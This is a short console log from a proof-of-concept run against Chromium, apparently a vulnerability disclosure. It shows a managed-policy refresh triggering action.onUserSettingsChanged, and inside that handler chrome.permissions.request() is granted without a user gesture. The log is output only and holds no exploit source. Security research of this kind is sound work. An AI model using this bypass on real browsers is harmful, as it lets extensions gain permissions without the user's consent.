[server] listening on http://127.0.0.1:8080/ [server] policy dir: /tmp/poc-policies/managed (bind-mount this at /etc/chromium/policies/managed) [ext] sw-started: {"id": "nkeimhogjdpnpccoofpliimaahmaaome"} [ext] control-no-gesture-probe: {"gate": "BLOCKED_NO_GESTURE", "error": "This function must be called during a user gesture"} [server] CONTROL OK: permissions.request rejected without a gesture (expected). [server] extension SW ready; writing policy file ... [server] wrote policy /tmp/poc-policies/managed/poc.json -> default_pinned for nkeimhogjdpnpccoofpliimaahmaaome [ext] onUserSettingsChanged-fired: {"change": {"isOnToolbar": true}} [ext] onUserSettingsChanged-probe: {"gate": "BYPASSED", "granted": true} ======================================================================== [server] *** VULNERABILITY CONFIRMED *** [server] action.onUserSettingsChanged delivered a synthetic user gesture: [server] chrome.permissions.request() bypassed the gesture gate [server] triggered with ZERO local user interaction (policy refresh). ======================================================================== [ext] VULN-CONFIRMED: "chrome.permissions.request() bypassed the user-gesture gate inside action.onUserSettingsChanged (no real user gesture)."